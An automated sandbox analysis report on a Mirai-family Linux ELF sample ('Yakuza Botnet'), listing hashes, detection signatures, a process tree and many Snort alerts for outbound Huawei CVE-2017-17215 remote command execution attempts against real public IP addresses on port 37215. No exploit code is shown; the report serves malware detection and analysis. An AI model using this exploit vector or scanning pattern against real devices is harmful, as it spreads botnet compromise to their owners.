Edit tour

Linux Analysis Report
k83uRQtNDx.elf

Overview

General Information

Sample name:	k83uRQtNDx.elf renamed because original name is a hash value
Original sample name:	ead1a568426594b62680f1852e1c420d.elf
Analysis ID:	1394735
MD5:	ead1a568426594b62680f1852e1c420d
SHA1:	06f905eabc9fbe6024d4103170daf837f673d138
SHA256:	06c5d24279cd473fba4f168629aa38e40712c53a0ad9bc9966baf53b6eb6a18c
Tags:	32elfmiraimotorola
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1394735
Start date and time:	2024-02-19 18:35:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	k83uRQtNDx.elf renamed because original name is a hash value
Original Sample Name:	ead1a568426594b62680f1852e1c420d.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: k83uRQtNDx.elf

Runtime Messages

Command:	/tmp/k83uRQtNDx.elf
PID:	5522
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Yakuza Botnet
Standard Error:

Process Tree

system is lnxubuntu20

k83uRQtNDx.elf (PID: 5522, Parent: 5445, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/k83uRQtNDx.elf

k83uRQtNDx.elf New Fork (PID: 5524, Parent: 5522)

k83uRQtNDx.elf New Fork (PID: 5526, Parent: 5524)

k83uRQtNDx.elf New Fork (PID: 5528, Parent: 5524)

k83uRQtNDx.elf New Fork (PID: 5530, Parent: 5524)

cleanup

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.114.238

Timestamp:	02/19/24-18:36:46.830139
SID:	2835222
Source Port:	47518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.253.82

Timestamp:	02/19/24-18:38:20.952751
SID:	2835222
Source Port:	42906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.111.166

Timestamp:	02/19/24-18:36:44.376551
SID:	2835222
Source Port:	58762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.116.17

Timestamp:	02/19/24-18:38:17.235187
SID:	2829579
Source Port:	59030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.56.46

Timestamp:	02/19/24-18:37:48.304256
SID:	2835222
Source Port:	49828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.73.181

Timestamp:	02/19/24-18:38:06.098529
SID:	2835222
Source Port:	49018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.43.249

Timestamp:	02/19/24-18:37:27.870684
SID:	2835222
Source Port:	53392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.3.84

Timestamp:	02/19/24-18:38:08.999237
SID:	2829579
Source Port:	58538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.111.123

Timestamp:	02/19/24-18:36:22.312633
SID:	2835222
Source Port:	59224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.195.113.27

Timestamp:	02/19/24-18:37:31.345171
SID:	2835222
Source Port:	48042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.20.236

Timestamp:	02/19/24-18:36:49.859221
SID:	2829579
Source Port:	47242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.72.210.119

Timestamp:	02/19/24-18:37:04.406041
SID:	2835222
Source Port:	33600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.124.143

Timestamp:	02/19/24-18:38:08.988601
SID:	2835222
Source Port:	53770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.110.241

Timestamp:	02/19/24-18:37:15.415728
SID:	2829579
Source Port:	43814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.227.12

Timestamp:	02/19/24-18:36:22.312726
SID:	2835222
Source Port:	57108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.128.44

Timestamp:	02/19/24-18:37:40.432370
SID:	2835222
Source Port:	52862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.115.61

Timestamp:	02/19/24-18:36:23.331425
SID:	2835222
Source Port:	46914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.182.50

Timestamp:	02/19/24-18:37:27.880770
SID:	2829579
Source Port:	44344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.247.114

Timestamp:	02/19/24-18:36:46.831198
SID:	2829579
Source Port:	45044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.72.244.181

Timestamp:	02/19/24-18:38:03.200778
SID:	2835222
Source Port:	43912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.36.232

Timestamp:	02/19/24-18:38:01.393435
SID:	2835222
Source Port:	52944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.241.149

Timestamp:	02/19/24-18:36:23.331928
SID:	2835222
Source Port:	51308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.217.44

Timestamp:	02/19/24-18:36:44.153428
SID:	2829579
Source Port:	59480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.72.37

Timestamp:	02/19/24-18:38:06.099278
SID:	2829579
Source Port:	45664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.28.116

Timestamp:	02/19/24-18:36:28.361258
SID:	2835222
Source Port:	46076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.26.209

Timestamp:	02/19/24-18:36:28.362059
SID:	2829579
Source Port:	46474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.79.4

Timestamp:	02/19/24-18:38:17.312817
SID:	2829579
Source Port:	35330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.95.210

Timestamp:	02/19/24-18:38:17.235591
SID:	2829579
Source Port:	46582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.46.88

Timestamp:	02/19/24-18:37:48.304070
SID:	2829579
Source Port:	41018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.14.78

Timestamp:	02/19/24-18:36:44.375797
SID:	2835222
Source Port:	39026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.16.30.220

Timestamp:	02/19/24-18:37:01.752603
SID:	2829579
Source Port:	36598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.134.167

Timestamp:	02/19/24-18:37:48.130634
SID:	2835222
Source Port:	44800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.56.5

Timestamp:	02/19/24-18:38:06.099156
SID:	2829579
Source Port:	37298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.120.235

Timestamp:	02/19/24-18:37:15.415918
SID:	2835222
Source Port:	57656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.238.159

Timestamp:	02/19/24-18:38:01.392563
SID:	2835222
Source Port:	55612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.50.160

Timestamp:	02/19/24-18:38:20.957167
SID:	2829579
Source Port:	36334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.250.172.127

Timestamp:	02/19/24-18:37:47.986684
SID:	2835222
Source Port:	34686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.96.158

Timestamp:	02/19/24-18:36:22.312925
SID:	2829579
Source Port:	49806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.57.90

Timestamp:	02/19/24-18:36:28.361098
SID:	2835222
Source Port:	57704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.141.26

Timestamp:	02/19/24-18:36:44.375965
SID:	2835222
Source Port:	42614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.179.203

Timestamp:	02/19/24-18:36:46.834760
SID:	2829579
Source Port:	36214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.123.8

Timestamp:	02/19/24-18:36:22.312535
SID:	2835222
Source Port:	38596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.11.125

Timestamp:	02/19/24-18:38:08.774154
SID:	2835222
Source Port:	38912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.107.123

Timestamp:	02/19/24-18:36:44.147064
SID:	2835222
Source Port:	55872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.250.173.124

Timestamp:	02/19/24-18:37:24.573826
SID:	2829579
Source Port:	33012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.56.38

Timestamp:	02/19/24-18:37:15.415439
SID:	2829579
Source Port:	46360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 222.186.174.59

Timestamp:	02/19/24-18:37:40.801159
SID:	2835222
Source Port:	46930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.224.8.94

Timestamp:	02/19/24-18:38:00.828840
SID:	2835222
Source Port:	36628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.33.17

Timestamp:	02/19/24-18:36:46.833025
SID:	2829579
Source Port:	52260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.55.249

Timestamp:	02/19/24-18:38:01.112379
SID:	2829579
Source Port:	40124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.176.26

Timestamp:	02/19/24-18:37:48.303807
SID:	2835222
Source Port:	39776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.64.239

Timestamp:	02/19/24-18:38:20.943380
SID:	2829579
Source Port:	45436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.235.107.177

Timestamp:	02/19/24-18:37:59.804740
SID:	2835222
Source Port:	52176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.202.155

Timestamp:	02/19/24-18:38:01.391923
SID:	2835222
Source Port:	42382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.105.224

Timestamp:	02/19/24-18:38:01.113191
SID:	2835222
Source Port:	41146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.34.5

Timestamp:	02/19/24-18:36:46.844489
SID:	2829579
Source Port:	49278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.13.243

Timestamp:	02/19/24-18:36:22.312277
SID:	2829579
Source Port:	42970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.49.96

Timestamp:	02/19/24-18:37:27.870517
SID:	2835222
Source Port:	43904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.84.86

Timestamp:	02/19/24-18:37:48.304515
SID:	2835222
Source Port:	44678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.37.193

Timestamp:	02/19/24-18:38:20.949334
SID:	2835222
Source Port:	55268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.15.206

Timestamp:	02/19/24-18:36:44.152582
SID:	2835222
Source Port:	34924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.78.89

Timestamp:	02/19/24-18:38:08.988264
SID:	2835222
Source Port:	57824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.162.200

Timestamp:	02/19/24-18:37:01.126365
SID:	2829579
Source Port:	52544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.105.254

Timestamp:	02/19/24-18:38:08.988714
SID:	2829579
Source Port:	53152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.220.112

Timestamp:	02/19/24-18:38:20.956603
SID:	2829579
Source Port:	40158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.14.96

Timestamp:	02/19/24-18:38:01.391626
SID:	2829579
Source Port:	40304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.100.141

Timestamp:	02/19/24-18:37:48.304338
SID:	2829579
Source Port:	35222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.34.202

Timestamp:	02/19/24-18:36:46.838602
SID:	2835222
Source Port:	42534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.43.235.113

Timestamp:	02/19/24-18:37:41.312439
SID:	2835222
Source Port:	45356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.0.201

Timestamp:	02/19/24-18:36:28.361411
SID:	2829579
Source Port:	52438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.98.243

Timestamp:	02/19/24-18:38:08.992035
SID:	2829579
Source Port:	60020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.227.84

Timestamp:	02/19/24-18:36:44.376063
SID:	2829579
Source Port:	46540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.43.235.46

Timestamp:	02/19/24-18:37:26.604792
SID:	2829579
Source Port:	52688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.48.85

Timestamp:	02/19/24-18:38:20.946185
SID:	2829579
Source Port:	53250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.224.237.121

Timestamp:	02/19/24-18:37:01.136064
SID:	2829579
Source Port:	43646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.63.41

Timestamp:	02/19/24-18:37:48.304879
SID:	2835222
Source Port:	41118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.212.153

Timestamp:	02/19/24-18:36:22.313034
SID:	2829579
Source Port:	45592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.157.90

Timestamp:	02/19/24-18:36:23.331634
SID:	2829579
Source Port:	46744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.25.194

Timestamp:	02/19/24-18:38:20.943888
SID:	2829579
Source Port:	46086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.164.149

Timestamp:	02/19/24-18:36:29.348867
SID:	2835222
Source Port:	45888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.132.111

Timestamp:	02/19/24-18:37:31.135998
SID:	2829579
Source Port:	46844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.93.225.105

Timestamp:	02/19/24-18:36:54.161575
SID:	2829579
Source Port:	41030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.184.59

Timestamp:	02/19/24-18:38:01.391772
SID:	2829579
Source Port:	40136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.88.4

Timestamp:	02/19/24-18:37:55.919601
SID:	2829579
Source Port:	37128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.15.67

Timestamp:	02/19/24-18:37:25.689251
SID:	2829579
Source Port:	40168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.114.15.2

Timestamp:	02/19/24-18:37:01.248254
SID:	2829579
Source Port:	48062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.225.103

Timestamp:	02/19/24-18:38:20.957022
SID:	2829579
Source Port:	40540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.77.130.234

Timestamp:	02/19/24-18:37:55.528819
SID:	2829579
Source Port:	40690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.174.10

Timestamp:	02/19/24-18:38:20.949547
SID:	2835222
Source Port:	42268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.39.206

Timestamp:	02/19/24-18:38:08.987825
SID:	2829579
Source Port:	47976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.105.192

Timestamp:	02/19/24-18:38:05.928805
SID:	2829579
Source Port:	32894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.5.115

Timestamp:	02/19/24-18:37:28.096531
SID:	2829579
Source Port:	38278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.1.240

Timestamp:	02/19/24-18:38:01.391487
SID:	2829579
Source Port:	58566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.195.116.192

Timestamp:	02/19/24-18:37:26.604554
SID:	2835222
Source Port:	39034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.16.10.25

Timestamp:	02/19/24-18:37:41.581034
SID:	2835222
Source Port:	42664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

